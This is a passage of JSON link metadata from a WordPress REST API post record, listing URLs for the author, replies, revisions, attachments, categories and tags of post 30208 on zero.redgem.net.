t"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30208"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30208\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30208"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30208"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}